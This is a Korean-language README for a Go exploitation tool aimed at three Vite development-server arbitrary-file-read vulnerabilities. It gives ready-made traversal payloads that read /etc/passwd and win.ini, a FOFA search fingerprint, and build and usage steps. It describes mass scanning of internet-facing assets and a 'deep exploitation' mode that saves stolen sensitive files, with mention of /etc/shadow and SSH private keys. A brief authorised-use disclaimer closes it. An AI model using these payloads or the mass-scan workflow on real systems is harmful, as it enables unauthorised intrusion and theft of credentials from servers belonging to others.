
CVE-2025-30208 및 CVE-2025-31125 취약점 익스플로잇
이 프로젝트는 3개의 취약점인 CVE-2025-30208/CVE-2025-31125/CVE-2025-31486을 다룹니다. 모두 Vite 개발 서버의 임의 파일 읽기 취약점으로, 적용 범위가 넓고 제한 없이 쉽게 악용할 수 있습니다.
CVE-2025-30208:
Windows: /@fs/C://Windows/win.ini?import&raw??
Linux: /@fs/etc/passwd?import&raw??
CVE-2025-31125
Windows: /@fs/C://windows/win.ini?import&?inline=1.wasm?init
Linux: /@fs/etc/passwd?import&?inline=1.wasm?init
CVE-2025-31486
Windows: /@fs/x/x/x/vite-project/?/../../../../../C://windows/win.ini?import&?inline=1.wasm?init
Linux: /@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?inline=1.wasm?init
경로에서 /@fs는 생략 가능합니다.
body="/@vite/client"
go 버전: go 1.20 이상
프로젝트 루트 디렉터리로 이동합니다.
먼저 의존성을 동기화합니다.
go mod tidy
그런 다음 프로젝트를 빌드합니다.
go build -o ViteVulScan -ldflags="-s -w" -trimpath .
./ViteVulScan으로 스크립트를 실행할 수 있습니다.
물론 프로젝트 루트 디렉터리에서 직접 실행할 수도 있습니다:
go run .
스크립트는 fofa와 연동하여 자산을 검색한 후 대량으로 탐지할 수 있습니다.
fofa를 사용하려면 app.ini 파일이 컴파일된 바이너리 파일과 같은 디렉터리에 있어야 하며, config 디렉터리 아래의 app.ini 파일을 수정해야 합니다. fofakey 필드에 자신의 fofakey를 입력하고, num은 대략 탐지할 자산 수를 예상하여 설정합니다.
이 취약점에 더 나은 fofa 검색 문법이 있다면 fofaQuery 필드를 직접 수정할 수 있습니다.
Usage of ./ViteVulScan:
| 매개변수 | 설명 |
|---|
http://example1.com
example2.com
127.0.0.1
예시 1: fofa와 연동하여 대량 탐지:
./ViteVulScan -fofa

스캔이 완료되면 result 디렉터리에 활용 성공한 URL의 csv 파일이 타임스탬프 이름으로 저장됩니다:

예시 2: 취약점이 있는 URL에 대해 심층 활용:
./ViteVulScan -u example.com -e

"활용 성공"이 표시되면 result 디렉터리를 확인하세요. 스캔한 URL 이름의 디렉터리가 생성되며, 스캔된 민감 파일의 내용이 원본 파일 형식으로 변환되어 해당 경로에 저장됩니다. 결과는 다음과 같습니다:

저장된 result/localhost:5173/etc/passwd의 내용을 예로 들면, 민감 정보의 전체 내용이 저장되어 후속 활용이 가능합니다 (/etc/shadow 또는 서버의 SSH 개인 키를 읽을 수 있다면 추가로 활용할 수 있습니다).

이 도구는 보안 연구 및 승인된 테스트 용도로만 사용하시기 바랍니다. 불법적인 용도로 사용하지 마십시오. 본 도구를 사용하여 승인되지 않은 테스트를 수행할 경우 발생하는 모든 결과는 사용자 본인에게 있습니다.
| -cve | 어떤 CVE 취약점을 사용하여 탐지할지 선택합니다. CVE_2025_30208 / CVE_2025_31125 / CVE_2025_31486을 지원합니다. 기본값은 CVE_2025_30208입니다. |
| -fofa | 이 매개변수를 지정하면 fofa를 연동하여 자산을 검색하고 얻은 대상 자산을 일괄 탐지합니다. |
| -u | -url | 단일 URL 대상을 지정하여 탐지합니다. |
| -f | -filename | 파일 이름을 지정하여 해당 파일에 있는 URL 주소를 일괄 탐지합니다. |
| -e | 이 매개변수를 지정하면 취약점이 존재하는 자산에 대해 심층 활용을 수행하여 다양한 민감 파일을 읽고 로컬에 저장합니다. (이 기능은 신중하게 사용하십시오. 단일 대상 탐지, 즉 -u와 함께 이 매개변수를 사용하는 것이 좋습니다.) |